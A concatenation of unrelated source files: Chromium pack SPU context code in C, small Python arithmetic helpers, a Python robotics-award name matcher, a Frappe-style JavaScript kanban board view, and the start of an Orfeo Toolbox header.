thread->netServer.name = crStrdup( pack_spu.name );
thread->netServer.buffer_size = pack_spu.buffer_size;
if (pack_spu.numThreads == 0) {
packspuConnectToServer( &(thread->netServer) );
CRASSERT(thread->netServer.conn);
pack_spu.swap = thread->netServer.conn->swap;
}
else {
/* a new pthread */
crNetNewClient( pack_spu.thread[0].netServer.conn, &(thread->netServer));
CRASSERT(thread->netServer.conn);
}
/* packer setup */
CRASSERT(thread->packer == NULL);
thread->packer = crPackNewContext( pack_spu.swap );
CRASSERT(thread->packer);
crPackInitBuffer( &(thread->buffer), crNetAlloc(thread->netServer.conn),
thread->netServer.conn->buffer_size, thread->netServer.conn->mtu );
thread->buffer.canBarf = thread->netServer.conn->Barf ? GL_TRUE : GL_FALSE;
crPackSetBuffer( thread->packer, &thread->buffer );
crPackFlushFunc( thread->packer, packspuFlush );
crPackFlushArg( thread->packer, (void *) thread );
crPackSendHugeFunc( thread->packer, packspuHuge );
crPackSetContext( thread->packer );
#ifdef CHROMIUM_THREADSAFE
crSetTSD(&_PackTSD, thread);
#endif
pack_spu.numThreads++;
#ifdef CHROMIUM_THREADSAFE
crUnlockMutex(&_PackMutex);
#endif
return thread;
}
GLint PACKSPU_APIENTRY
packspu_CreateContext( const char *dpyName, GLint visual, GLint shareCtx )
{
int writeback = 1;
GLint serverCtx = (GLint) -1;
int slot;
#ifdef CHROMIUM_THREADSAFE
crLockMutex(&_PackMutex);
#endif
if (shareCtx > 0) {
/* translate to server ctx id */
shareCtx -= MAGIC_OFFSET;
if (shareCtx >= 0 && shareCtx < pack_spu.numContexts) {
shareCtx = pack_spu.context[shareCtx].serverCtx;
}
}
crPackSetContext( pack_spu.thread[0].packer );
/* Pack the command */
if (pack_spu.swap)
crPackCreateContextSWAP( dpyName, visual, shareCtx, &serverCtx, &writeback );
else
crPackCreateContext( dpyName, visual, shareCtx, &serverCtx, &writeback );
/* Flush buffer and get return value */
packspuFlush( &(pack_spu.thread[0]) );
if (!(pack_spu.thread[0].netServer.conn->actual_network))
{
/* HUMUNGOUS HACK TO MATCH SERVER NUMBERING
*
* The hack exists solely to make file networking work for now. This
* is totally gross, but since the server expects the numbers to start
* from 5000, we need to write them out this way. This would be
* marginally less gross if the numbers (500 and 5000) were maybe
* some sort of #define'd constants somewhere so the client and the
* server could be aware of how each other were numbering things in
* cases like file networking where they actually
* care.
*
* -Humper
*
*/
serverCtx = 5000;
}
else {
while (writeback)
crNetRecv();
if (pack_spu.swap) {
serverCtx = (GLint) SWAP32(serverCtx);
}
if (serverCtx < 0) {
#ifdef CHROMIUM_THREADSAFE
crUnlockMutex(&_PackMutex);
#endif
crWarning("Failure in packspu_CreateContext");
return -1; /* failed */
}
}
/* find an empty context slot */
for (slot = 0; slot < pack_spu.numContexts; slot++) {
if (!pack_spu.context[slot].clientState) {
/* found empty slot */
break;
}
}
if (slot == pack_spu.numContexts) {
pack_spu.numContexts++;
}
/* Fill in the new context info */
/* XXX fix-up sharedCtx param here */
pack_spu.context[slot].clientState = crStateCreateContext(NULL, visual, NULL);
pack_spu.context[slot].serverCtx = serverCtx;
#ifdef CHROMIUM_THREADSAFE
crUnlockMutex(&_PackMutex);
#endif
return MAGIC_OFFSET + slot;
}
void PACKSPU_APIENTRY packspu_DestroyContext( GLint ctx )
{
const int slot = ctx - MAGIC_OFFSET;
ContextInfo *context;
GET_THREAD(thread);
CRASSERT(slot >= 0);
CRASSERT(slot < pack_spu.numContexts);
CRASSERT(thread);
context = &(pack_spu.context[slot]);
if (pack_spu.swap)
crPackDestroyContextSWAP( context->serverCtx );
else
crPackDestroyContext( context->serverCtx );
crStateDestroyContext( context->clientState );
context->clientState = NULL;
context->serverCtx = 0;
if (thread->currentContext == context) {
thread->currentContext = NULL;
crStateMakeCurrent( NULL );
}
}
void PACKSPU_APIENTRY packspu_MakeCurrent( GLint window, GLint nativeWindow, GLint ctx )
{
GET_THREAD(thread);
GLint serverCtx;
ContextInfo *newCtx;
if (!thread) {
thread = packspuNewThread( crThreadID() );
}
CRASSERT(thread);
CRASSERT(thread->packer);
if (ctx) {
const int slot = ctx - MAGIC_OFFSET;
CRASSERT(slot >= 0);
CRASSERT(slot < pack_spu.numContexts);
newCtx = &pack_spu.context[slot];
CRASSERT(newCtx->clientState); /* verify valid */
thread->currentContext = newCtx;
crPackSetContext( thread->packer );
crStateMakeCurrent( newCtx->clientState );
serverCtx = pack_spu.context[slot].serverCtx;
}
else {
thread->currentContext = NULL;
crStateMakeCurrent( NULL );
newCtx = NULL;
serverCtx = 0;
}
if (pack_spu.swap)
crPackMakeCurrentSWAP( window, nativeWindow, serverCtx );
else
crPackMakeCurrent( window, nativeWindow, serverCtx );
{
GET_THREAD(t);
(void) t;
CRASSERT(t);
}
}
|
def aumentar(valor,taxa):
res = valor*(1 + taxa/100)
return res
def diminuir(valor,taxa):
res = valor*(1-taxa/100)
return res
def dobro(valor):
res = valor*2
return res
def metade(valor):
res = valor/2
return res
|
/* Generated automatically. DO NOT EDIT! */
#define SIMD_HEADER "simd-kcvi.h"
#include "../common/n1fv_2.c"
|
import logging
from consts.award_type import AwardType
# Prioritized sort order for certain awards
sort_order = {
AwardType.CHAIRMANS: 0,
AwardType.FOUNDERS: 1,
AwardType.ENGINEERING_INSPIRATION: 2,
AwardType.ROOKIE_ALL_STAR: 3,
AwardType.WOODIE_FLOWERS: 4,
AwardType.VOLUNTEER: 5,
AwardType.DEANS_LIST: 6,
AwardType.WINNER: 7,
AwardType.FINALIST: 8,
}
"""
An award matches an AwardType if the award's name_str contains every string in
the the first list of the tuple and does NOT contain any string in the second
list of the tuple.
"""
AWARD_MATCHING_STRINGS = [
(AwardType.CHAIRMANS, (["chairman"], ["hon", "finalist"])),
(AwardType.CHAIRMANS_HONORABLE_MENTION, (["chairman", "hon", "mention"], [])),
(AwardType.CHAIRMANS_FINALIST, (["chairman", "finalist"], ["hon", "mention"])),
(AwardType.ENGINEERING_INSPIRATION, (["engineering inspiration"], [])),
(AwardType.WINNER, (["regional winner"], [])),
(AwardType.WINNER, (["championship winner"], [])),
(AwardType.WINNER, (["championship champion"], [])),
(AwardType.WINNER, (["division champion"], [])),
(AwardType.WINNER, (["championship subdivision winner"], [])),
(AwardType.WINNER, (["district event winner"], [])),
(AwardType.WINNER, (["winner", "1"], [])),
(AwardType.WINNER, (["winner", "2"], [])),
(AwardType.WINNER, (["winner", "3"], ["3d"])),
(AwardType.WINNER, (["winner", "4"], [])),
(AwardType.WINNER, (["division", "champion", "1"], ["finalist"])),
(AwardType.WINNER, (["division", "champion", "2"], ["finalist"])),
(AwardType.WINNER, (["division", "champion", "3"], ["finalist", "3d"])),
(AwardType.WINNER, (["division", "champion", "4"], ["finalist"])),
(AwardType.WINNER, (["championship", "champion", "1"], ["finalist"])),
(AwardType.WINNER, (["championship", "champion", "2"], ["finalist"])),
(AwardType.WINNER, (["championship", "champion", "3"], ["finalist", "3d"])),
(AwardType.WINNER, (["championship", "champion", "4"], ["finalist"])),
(AwardType.FINALIST, (["regional finalist"], ["dean"])),
(AwardType.FINALIST, (["championship finalist"], ["dean"])),
(AwardType.FINALIST, (["division finalist"], ["dean"])),
(AwardType.FINALIST, (["district event finalist"], [])),
(AwardType.FINALIST, (["finalist", "1"], ["dean"])),
(AwardType.FINALIST, (["finalist", "2"], ["dean"])),
(AwardType.FINALIST, (["finalist", "3"], ["dean", "3d"])),
(AwardType.FINALIST, (["finalist", "4"], ["dean"])),
(AwardType.COOPERTITION, (["coopertition"], [])),
(AwardType.SPORTSMANSHIP, (["sportsmanship"], [])),
(AwardType.CREATIVITY, (["creativity"], [])),
(AwardType.ENGINEERING_EXCELLENCE, (["engineering", "excellence"], [])),
(AwardType.ENTREPRENEURSHIP, (["entrepreneurship"], [])),
(AwardType.ENTREPRENEURSHIP, (["kleiner", "perkins", "caufield", "byers"], [])),
(AwardType.EXCELLENCE_IN_DESIGN, (["excellence in design"], ["cad", "animation"])),
(AwardType.EXCELLENCE_IN_DESIGN_CAD, (["excellence in design", "cad"], [])),
(AwardType.EXCELLENCE_IN_DESIGN_ANIMATION, (["excellence in design", "animation"], [])),
(AwardType.DEANS_LIST, (["dean", "list"], [])),
(AwardType.BART_KAMEN_MEMORIAL, (["bart", "kamen", "memorial"], [])),
(AwardType.DRIVING_TOMORROWS_TECHNOLOGY, (["driving", "tomorrow", "technology"], [])),
(AwardType.DRIVING_TOMORROWS_TECHNOLOGY, (["delphi", "driv", "tech"], [])),
(AwardType.GRACIOUS_PROFESSIONALISM, (["gracious professionalism"], [])),
(AwardType.HIGHEST_ROOKIE_SEED, (["highest rookie seed"], [])),
(AwardType.IMAGERY, (["imagery"], [])),
(AwardType.INDUSTRIAL_DESIGN, (["industrial design"], [])),
(AwardType.MEDIA_AND_TECHNOLOGY, (["media", "technology"], [])),
(AwardType.MAKE_IT_LOUD, (["make", "loud"], [])),
(AwardType.SAFETY, (["safety"], [])),
(AwardType.INNOVATION_IN_CONTROL, (["innovation in control"], [])),
(AwardType.QUALITY, (["quality"], [])),
(AwardType.ROOKIE_ALL_STAR, (["rookie", "all", "star"], [])),
(AwardType.ROOKIE_INSPIRATION, (["rookie inspiration"], [])),
(AwardType.SPIRIT, (["spirit"], [])),
(AwardType.WEBSITE, (["website"], [])),
(AwardType.WEBSITE, (["web", "site"], [])),
(AwardType.VISUALIZATION, (["visualization"], ["rising"])),
(AwardType.VOLUNTEER, (["volunteer"], [])),
(AwardType.WOODIE_FLOWERS, (["woodie flowers"], [])),
(AwardType.JUDGES, (["judge"], [])),
(AwardType.FOUNDERS, (["founder"], [])),
(AwardType.AUTODESK_INVENTOR, (["autodesk inventor"], [])),
(AwardType.FUTURE_INNOVATOR, (["future innovator"], [])),
(AwardType.RECOGNITION_OF_EXTRAORDINARY_SERVICE, (["recognition", "extraordinary", "service"], [])),
(AwardType.OUTSTANDING_CART, (["outstanding", "cart"], [])),
(AwardType.WSU_AIM_HIGHER, (["wayne", "state", "university", "aim", "higher"], [])),
(AwardType.LEADERSHIP_IN_CONTROL, (["leadership", "control"], [])),
(AwardType.NUM_1_SEED, (["#1", "seed"], [])),
(AwardType.INCREDIBLE_PLAY, (["incredible", "play"], [])),
(AwardType.PEOPLES_CHOICE_ANIMATION, (["people", "choice", "animation"], [])),
(AwardType.VISUALIZATION_RISING_STAR, (["visualization", "rising"], [])),
(AwardType.BEST_OFFENSIVE_ROUND, (["best", "offensive", "round"], [])),
(AwardType.BEST_PLAY_OF_THE_DAY, (["best", "play"], [])),
(AwardType.FEATHERWEIGHT_IN_THE_FINALS, (["featherweight", "finals"], [])),
(AwardType.MOST_PHOTOGENIC, (["photogenic"], [])),
(AwardType.OUTSTANDING_DEFENSE, (["outstanding defense"], [])),
(AwardType.POWER_TO_SIMPLIFY, (["power to simplify"], [])),
(AwardType.AGAINST_ALL_ODDS, (["against all odds"], [])),
(AwardType.RISING_STAR, (["autodesk", "rising star"], ["hon", "mention"])),
(AwardType.CONTENT_COMMUNICATION_HONORABLE_MENTION, (["content communication", "hon", "mention"], [])),
(AwardType.TECHNICAL_EXECUTION_HONORABLE_MENTION, (["technical execution", "hon", "mention"], [])),
(AwardType.REALIZATION, (["autodesk", "realization"], ["hon", "mention"])),
(AwardType.REALIZATION_HONORABLE_MENTION, (["autodesk", "realization", "hon", "mention"], [])),
(AwardType.DESIGN_YOUR_FUTURE, (["autodesk", "design your future"], ["hon", "mention"])),
(AwardType.DESIGN_YOUR_FUTURE_HONORABLE_MENTION, (["autodesk", "design your future", "hon", "mention"], [])),
(AwardType.SPECIAL_RECOGNITION_CHARACTER_ANIMATION, (["autodesk", "special recognition", "character animation"], ["hon", "mention"])),
(AwardType.HIGH_SCORE, (["high score"], [])),
(AwardType.TEACHER_PIONEER, (["teacher pioneer"], [])),
(AwardType.BEST_CRAFTSMANSHIP, (["best craftsmanship"], [])),
(AwardType.BEST_DEFENSIVE_MATCH, (["best defensive match"], [])),
(AwardType.PLAY_OF_THE_DAY, (["play of the day"], [])),
(AwardType.PROGRAMMING, (["programming"], [])),
(AwardType.PROFESSIONALISM, (["professionalism"], ["gracious"])),
(AwardType.GOLDEN_CORNDOG, (["golden corndog"], [])),
(AwardType.MOST_IMPROVED_TEAM, (["most improved team"], [])),
(AwardType.WILDCARD, (["wildcard"], [])),
(AwardType.AUTONOMOUS, (["autonomous"], [])),
(AwardType.OTHER, (["other", "offseason award", "offseason event award"], [])),
]
class AwardHelper(object):
@classmethod
def organizeAwards(self, award_list):
"""
Sorts awards first by sort_order and then alphabetically by name_str
"""
sorted_awards = sorted(award_list, key=lambda award: sort_order.get(award.award_type_enum, award.name_str))
return sorted_awards
@classmethod
def parse_award_type(self, name_str):
"""
Returns the AwardType given a name_str, or None if there are no matches.
"""
name_str_lower = name_str.lower()
# to match awards without the "#1", "#2", etc suffix
if name_str_lower == 'winner':
return AwardType.WINNER
elif name_str_lower == 'finalist':
return AwardType.FINALIST
for type_enum, (yes_strings, no_strings) in AWARD_MATCHING_STRINGS:
for string in yes_strings:
if string not in name_str_lower:
break
else:
for string in no_strings:
if string in name_str_lower:
break
else:
# found a match
return type_enum
# no matches
logging.warning("Found an award without an associated type: " + name_str)
return None
|
dataent.provide("dataent.views");
(function() {
var method_prefix = 'dataent.desk.doctype.kanban_board.kanban_board.';
var store = fluxify.createStore({
id: 'store',
initialState: {
doctype: '',
board: {},
card_meta: {},
cards: [],
columns: [],
filters_modified: false,
cur_list: {},
empty_state: true
},
actionCallbacks: {
init: function(updater, opts) {
updater.set({
empty_state: true
});
var board = opts.board;
var card_meta = opts.card_meta;
opts.card_meta = card_meta;
opts.board = board;
var cards = opts.cards.map(function(card) {
return prepare_card(card, opts);
});
var columns = prepare_columns(board.columns);
updater.set({
doctype: opts.doctype,
board: board,
card_meta: card_meta,
cards: cards,
columns: columns,
cur_list: opts.cur_list,
empty_state: false,
wrapper: opts.wrapper
});
},
update_cards: function(updater, cards) {
var state = this;
var _cards = cards
.map(card => prepare_card(card, state))
.concat(this.cards)
.uniqBy(card => card.name);
updater.set({
cards: _cards
});
},
add_column: function(updater, col) {
if(dataent.model.can_create('Custom Field')) {
fluxify.doAction('update_column', col, 'add');
} else {
dataent.msgprint({
title: __('Not permitted'),
message: __('You are not allowed to create columns'),
indicator: 'red'
});
}
},
archive_column: function(updater, col) {
fluxify.doAction('update_column', col, 'archive');
},
restore_column: function(updater, col) {
fluxify.doAction('update_column', col, 'restore');
},
update_column: function(updater, col, action) {
var doctype = this.doctype;
var board = this.board;
fetch_customization(doctype)
.then(function(doc) {
return modify_column_field_in_c11n(doc, board, col.title, action);
})
.then(save_customization)
.then(function() {
return update_kanban_board(board.name, col.title, action);
}).then(function(r) {
var cols = r.message;
updater.set({
columns: prepare_columns(cols)
});
}, function(err) {
console.error(err); // eslint-disable-line
});
},
add_card: function(updater, card_title, column_title) {
var doc = dataent.model.get_new_doc(this.doctype);
var field = this.card_meta.title_field;
var quick_entry = this.card_meta.quick_entry;
var state = this;
var doc_fields = {};
doc_fields[field.fieldname] = card_title;
doc_fields[this.board.field_name] = column_title;
this.cur_list.filter_area.get().forEach(function(f) {
if (f[2] !== "=") return;
doc_fields[f[1]] = f[3];
});
$.extend(doc, doc_fields);
// add the card directly
// for better ux
const card = prepare_card(doc, state);
card._disable_click = true;
const cards = [...state.cards, card];
// remember the name which we will override later
const old_name = doc.name;
updater.set({ cards });
if (field && !quick_entry) {
return insert_doc(doc)
.then(function(r) {
// update the card in place with the updated doc
const updated_doc = r.message;
const index = state.cards.findIndex(card => card.name === old_name);
const card = prepare_card(updated_doc, state);
const new_cards = state.cards.slice();
new_cards[index] = card;
updater.set({ cards: new_cards });
fluxify.doAction('update_order');
});
} else {
dataent.new_doc(this.doctype, doc);
}
},
update_card: function(updater, card) {
var index = -1;
this.cards.forEach(function(c, i) {
if (c.name === card.name) {
index = i;
}
});
var cards = this.cards.slice();
if (index !== -1) {
cards.splice(index, 1, card);
}
updater.set({ cards: cards });
},
update_doc: function(updater, doc, card) {
var state = this;
return dataent.call({
method: method_prefix + "update_doc",
args: { doc: doc },
freeze: true
}).then(function(r) {
var updated_doc = r.message;
var updated_card = prepare_card(card, state, updated_doc);
fluxify.doAction('update_card', updated_card);
});
},
update_order: function(updater) {
// cache original order
const _cards = this.cards.slice();
const _columns = this.columns.slice();
const order = {};
this.wrapper.find('.kanban-column[data-column-value]')
.each(function() {
var col_name = $(this).data().columnValue;
order[col_name] = [];
$(this).find('.kanban-card-wrapper').each(function() {
var card_name = $(this).data().name;
order[col_name].push(card_name);
});
});
dataent.call({
method: method_prefix + "update_order",
args: {
board_name: this.board.name,
order: order
},
callback: (r) => {
var board = r.message[0];
var updated_cards = r.message[1];
var cards = update_cards_column(updated_cards);
var columns = prepare_columns(board.columns);
updater.set({
cards: cards,
columns: columns
});
}
}).fail(function() {
// revert original order
updater.set({
cards: _cards,
columns: _columns
});
});
},
update_column_order: function(updater, order) {
return dataent.call({
method: method_prefix + "update_column_order",
args: {
board_name: this.board.name,
order: order
}
}).then(function(r) {
var board = r.message;
var columns = prepare_columns(board.columns);
updater.set({
columns: columns
});
});
},
set_indicator: function(updater, column, color) {
return dataent.call({
method: method_prefix + "set_indicator",
args: {
board_name: this.board.name,
column_name: column.title,
indicator: color
}
}).then(function(r) {
var board = r.message;
var columns = prepare_columns(board.columns);
updater.set({
columns: columns
});
});
}
}
});
dataent.views.KanbanBoard = function(opts) {
var self = {};
self.wrapper = opts.wrapper;
self.cur_list = opts.cur_list;
self.board_name = opts.board_name;
self.update = function(cards) {
// update cards internally
opts.cards = cards;
if(self.wrapper.find('.kanban').length > 0 && self.cur_list.start !== 0) {
fluxify.doAction('update_cards', cards);
} else {
init();
}
};
function init() {
fluxify.doAction('init', opts);
store.on('change:columns', make_columns);
prepare();
store.on('change:cur_list', setup_restore_columns);
store.on('change:columns', setup_restore_columns);
store.on('change:empty_state', show_empty_state);
}
function prepare() {
self.$kanban_board = self.wrapper.find('.kanban');
if(self.$kanban_board.length === 0) {
self.$kanban_board = $(dataent.render_template("kanban_board"));
self.$kanban_board.appendTo(self.wrapper);
}
self.$filter_area = self.cur_list.$page.find('.active-tag-filters');
bind_events();
setup_sortable();
}
function make_columns() {
self.$kanban_board.find(".kanban-column").not(".add-new-column").remove();
var columns = store.getState().columns;
columns.filter(is_active_column).map(function(col) {
dataent.views.KanbanBoardColumn(col, self.$kanban_board);
});
}
function bind_events() {
bind_add_column();
}
function setup_sortable() {
var sortable = new Sortable(self.$kanban_board.get(0), {
group: 'columns',
animation: 150,
dataIdAttr: 'data-column-value',
filter: '.add-new-column',
handle: '.kanban-column-title',
onEnd: function() {
var order = sortable.toArray();
order = order.slice(1);
fluxify.doAction('update_column_order', order);
}
});
}
function bind_add_column() {
var $add_new_column = self.$kanban_board.find(".add-new-column"),
$compose_column = $add_new_column.find(".compose-column"),
$compose_column_form = $add_new_column.find(".compose-column-form").hide();
$compose_column.on('click', function() {
$(this).hide();
$compose_column_form.show();
$compose_column_form.find('input').focus();
});
//save on enter
$compose_column_form.keydown(function(e) {
if (e.which == 13) {
e.preventDefault();
if (!dataent.request.ajax_count) {
// not already working -- double entry
var title = $compose_column_form.serializeArray()[0].value;
var col = {
title: title.trim()
};
fluxify.doAction('add_column', col);
$compose_column_form.find('input').val('');
$compose_column.show();
$compose_column_form.hide();
}
}
});
// on form blur
$compose_column_form.find('input').on("blur", function() {
$(this).val('');
$compose_column.show();
$compose_column_form.hide();
});
}
function setup_restore_columns() {
var cur_list = store.getState().cur_list;
var columns = store.getState().columns;
var list_row_right = cur_list.$page
.find(`[data-list-renderer='Kanban'] .list-row-right`)
.css('margin-right', '15px');
list_row_right.empty();
var archived_columns = columns.filter(function(col) {
return col.status === 'Archived';
});
if (!archived_columns.length) return;
var options = archived_columns.reduce(function(a, b) {
return a + "<li><a class='option'>" +
"<span class='ellipsis' style='max-width: 100px; display: inline-block'>" +
__(b.title) + "</span>" +
"<button style='float:right;' data-column='" + b.title +
"' class='btn btn-default btn-xs restore-column text-muted'>"
+ __('Restore') + "</button></a></li>";
}, "");
var $dropdown = $("<div class='dropdown pull-right'>" +
"<a class='text-muted dropdown-toggle' data-toggle='dropdown'>" +
"<span class='dropdown-text'>" + __('Archived Columns') + "</span><i class='caret'></i></a>" +
"<ul class='dropdown-menu'>" + options + "</ul>" +
"</div>");
list_row_right.html($dropdown);
$dropdown.find(".dropdown-menu").on("click", "button.restore-column", function() {
var column_title = $(this).data().column;
var col = {
title: column_title,
status: 'Archived'
};
fluxify.doAction('restore_column', col);
});
}
function show_empty_state() {
var empty_state = store.getState().empty_state;
if(empty_state) {
self.$kanban_board.find('.kanban-column').hide();
self.$kanban_board.find('.kanban-empty-state').show();
} else {
self.$kanban_board.find('.kanban-column').show();
self.$kanban_board.find('.kanban-empty-state').hide();
}
}
init();
return self;
};
dataent.views.KanbanBoardColumn = function(column, wrapper) {
var self = {};
var filtered_cards = [];
function init() {
make_dom();
setup_sortable();
make_cards();
store.on('change:cards', make_cards);
bind_add_card();
bind_options();
}
function make_dom() {
self.$kanban_column = $(dataent.render_template(
'kanban_column', {
title: column.title,
doctype: store.getState().doctype,
indicator: column.indicator
})).appendTo(wrapper);
self.$kanban_cards = self.$kanban_column.find('.kanban-cards');
}
function make_cards() {
self.$kanban_cards.empty();
var cards = store.getState().cards;
filtered_cards = get_cards_for_column(cards, column);
var filtered_cards_names = filtered_cards.map(card => card.name);
var order = column.order;
if(order) {
order = JSON.parse(order);
order.forEach(function(name) {
if (!filtered_cards_names.includes(name)) return;
dataent.views.KanbanBoardCard(get_card(name), self.$kanban_cards);
});
// new cards
filtered_cards.forEach(function(card) {
if(order.indexOf(card.name) === -1) {
dataent.views.KanbanBoardCard(card, self.$kanban_cards);
}
});
} else {
filtered_cards.map(function(card) {
dataent.views.KanbanBoardCard(card, self.$kanban_cards);
});
}
}
function setup_sortable() {
Sortable.create(self.$kanban_cards.get(0), {
group: "cards",
animation: 150,
dataIdAttr: 'data-name',
onStart: function() {
wrapper.find('.kanban-card.add-card').fadeOut(200, function() {
wrapper.find('.kanban-cards').height('100vh');
});
},
onEnd: function() {
wrapper.find('.kanban-card.add-card').fadeIn(100);
wrapper.find('.kanban-cards').height('auto');
// update order
fluxify.doAction('update_order');
},
onAdd: function() {
},
});
}
function bind_add_card() {
var $wrapper = self.$kanban_column;
var $btn_add = $wrapper.find('.add-card');
var $new_card_area = $wrapper.find('.new-card-area');
var $textarea = $new_card_area.find('textarea');
//Add card button
$new_card_area.hide();
$btn_add.on('click', function() {
$btn_add.hide();
$new_card_area.show();
$textarea.focus();
});
//save on enter
$new_card_area.keydown(function(e) {
if (e.which == 13) {
e.preventDefault();
if (!dataent.request.ajax_count) {
// not already working -- double entry
e.preventDefault();
var card_title = $textarea.val();
$new_card_area.hide();
$textarea.val('');
fluxify.doAction('add_card', card_title, column.title)
.then(() => {
$btn_add.show();
});
}
}
});
// on textarea blur
$textarea.on("blur", function() {
$(this).val('');
$btn_add.show();
$new_card_area.hide();
});
}
function bind_options() {
self.$kanban_column.find(".column-options .dropdown-menu")
.on("click", "[data-action]", function() {
var $btn = $(this);
var action = $btn.data().action;
if (action === "archive") {
fluxify.doAction('archive_column', column);
} else if (action === "indicator") {
var color = $btn.data().indicator;
fluxify.doAction('set_indicator', column, color);
}
});
get_column_indicators(function(indicators) {
var html = '<li class="button-group">';
html += indicators.reduce(function(prev, curr) {
return prev + '<div \
data-action="indicator" data-indicator="'+curr+'"\
class="btn btn-default btn-xs indicator ' + curr + '"></div>';
}, "");
html += '</li>';
self.$kanban_column.find(".column-options .dropdown-menu")
.append(html);
});
}
init();
};
dataent.views.KanbanBoardCard = function(card, wrapper) {
var self = {};
function init() {
if(!card) return;
make_dom();
render_card_meta();
bind_edit_card();
// edit_card_title();
}
function make_dom() {
var opts = {
name: card.name,
title: remove_img_tags(card.title),
disable_click: card._disable_click ? 'disable-click' : ''
};
self.$card = $(dataent.render_template('kanban_card', opts))
.appendTo(wrapper);
}
function render_card_meta() {
var html = "";
if (card.comment_count > 0)
html += '<span class="list-comment-count small text-muted ">' +
'<i class="octicon octicon-comment"></i> ' + card.comment_count +
'</span>';
html += get_assignees_html();
if (card.color && dataent.ui.color.validate_hex(card.color)) {
const $div = $('<div>');
$('<div></div>').css({
width: '20px',
height: '5px',
borderRadius: '2px',
marginBottom: '4px',
backgroundColor: card.color
}).appendTo($div);
self.$card.find('.kanban-card.content').prepend($div);
}
self.$card.find(".kanban-card-meta").empty().append(html);
}
function bind_edit_card() {
self.$card.find('.kanban-card.content').on('click', function() {
dataent.set_route('Form', card.doctype, card.name);
// setup_edit_card();
});
}
function refresh_dialog() {
set_dialog_fields();
make_assignees();
}
function set_dialog_fields() {
self.edit_dialog.fields.forEach(function(df) {
var value = card.doc[df.fieldname];
if (value) {
self.edit_dialog.set_value(df.fieldname, value);
}
});
}
function make_assignees() {
var d = self.edit_dialog;
var html = get_assignees_html() + '<a class="add-assignment avatar avatar-small avatar-empty">\
<i class="octicon octicon-plus text-muted" style="margin: 3px 0 0 5px;"></i></a>';
d.$wrapper.find("[data-fieldname='assignees'] .control-input-wrapper").empty().append(html);
d.$wrapper.find(".add-assignment").on("click", function() {
if (self.assign_to_dialog) {
self.assign_to_dialog.show();
return;
}
show_assign_to_dialog();
});
}
function get_assignees_html() {
return card.assigned_list.reduce(function(a, b) {
return a + dataent.avatar(b);
}, "");
}
function show_assign_to_dialog() {
self.assign_to = new dataent.ui.form.AssignToDialog({
obj: self,
method: 'dataent.desk.form.assign_to.add',
doctype: card.doctype,
docname: card.name,
callback: function() {
var user = self.assign_to_dialog.get_values().assign_to;
card.assigned_list.push(user);
fluxify.doAction('update_card', card);
refresh_dialog();
}
});
self.assign_to_dialog = self.assign_to.dialog;
self.assign_to_dialog.show();
}
init();
};
function prepare_card(card, state, doc) {
var assigned_list = card._assign ?
JSON.parse(card._assign) : [];
var comment_count = card._comment_count || 0;
if (doc) {
card = Object.assign({}, card, doc);
}
return {
doctype: state.doctype,
name: card.name,
title: card[state.card_meta.title_field.fieldname],
column: card[state.board.field_name],
assigned_list: card.assigned_list || assigned_list,
comment_count: card.comment_count || comment_count,
color: card.color || null,
doc: doc
};
}
function prepare_columns(columns) {
return columns.map(function(col) {
return {
title: col.column_name,
status: col.status,
order: col.order,
indicator: col.indicator || 'darkgrey'
};
});
}
function modify_column_field_in_c11n(doc, board, title, action) {
doc.fields.forEach(function(df) {
if (df.fieldname === board.field_name && df.fieldtype === "Select") {
if(!df.options) df.options = "";
if (action === "add") {
//add column_name to Select field's option field
if(!df.options.includes(title))
df.options += "\n" + title;
} else if (action === "delete") {
var options = df.options.split("\n");
var index = options.indexOf(title);
if (index !== -1) options.splice(index, 1);
df.options = options.join("\n");
}
}
});
return doc;
}
function fetch_customization(doctype) {
return new Promise(function(resolve) {
dataent.model.with_doc("Customize Form", "Customize Form", function() {
var doc = dataent.get_doc("Customize Form");
doc.doc_type = doctype;
dataent.call({
doc: doc,
method: "fetch_to_customize",
callback: function(r) {
resolve(r.docs[0]);
}
});
});
});
}
function save_customization(doc) {
if (!doc) return;
doc.hide_success = true;
return dataent.call({
doc: doc,
method: "save_customization"
});
}
function insert_doc(doc) {
return dataent.call({
method: "dataent.client.insert",
args: {
doc: doc
},
callback: function() {
dataent.model.clear_doc(doc.doctype, doc.name);
dataent.show_alert({ message: __("Saved"), indicator: 'green' }, 1);
}
});
}
function update_kanban_board(board_name, column_title, action) {
var method;
var args = {
board_name: board_name,
column_title: column_title
};
if (action === 'add') {
method = 'add_column';
} else if (action === 'archive' || action === 'restore') {
method = 'archive_restore_column';
args.status = action === 'archive' ? 'Archived' : 'Active';
}
return dataent.call({
method: method_prefix + method,
args: args
});
}
function is_filters_modified(board, cur_list) {
return new Promise(function(resolve) {
setTimeout(function() {
try {
var list_filters = JSON.stringify(cur_list.filter_area.get());
resolve(list_filters !== board.filters);
} catch(e) {
// sometimes the filter_list is not initiated
resolve(false);
}
}, 2000);
});
}
function is_active_column(col) {
return col.status !== 'Archived';
}
function get_cards_for_column(cards, column) {
return cards.filter(function(card) {
return card.column === column.title;
});
}
function get_card(name) {
return store.getState().cards.find(function(c) {
return c.name === name;
});
}
function update_cards_column(updated_cards) {
var cards = store.getState().cards;
cards.forEach(function(c) {
updated_cards.forEach(function(uc) {
if(uc.name === c.name) {
c.column = uc.column;
}
});
});
return cards;
}
function get_column_indicators(callback) {
dataent.model.with_doctype('Kanban Board Column', function() {
var meta = dataent.get_meta('Kanban Board Column');
var indicators;
meta.fields.forEach(function(df) {
if(df.fieldname==='indicator') {
indicators = df.options.split("\n");
}
});
if(!indicators) {
//
indicators = ['green', 'blue', 'orange', 'grey'];
}
callback(indicators);
});
}
function isBound(el, event, fn) {
var events = $._data(el[0], 'events');
if(!events) return false;
var handlers = events[event];
var flag = false;
handlers.forEach(function(h) {
if(h.handler.name === fn.name)
flag = true;
});
return flag;
}
function remove_img_tags(html) {
const $temp = $(`<div>${html}</div>`);
$temp.find('img').remove();
return $temp.html();
}
})();
|
/*
* Copyright (C) 2005-2019 Centre National d'Etudes Spatiales (CNES)
*
* This file is part of Orfeo Toolbox
*
* https://www.orfeo-toolbox.org/
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef otbSqrtSpectralAngleFunctor_h
#define otbSqrtSpectralAngleFunctor_h
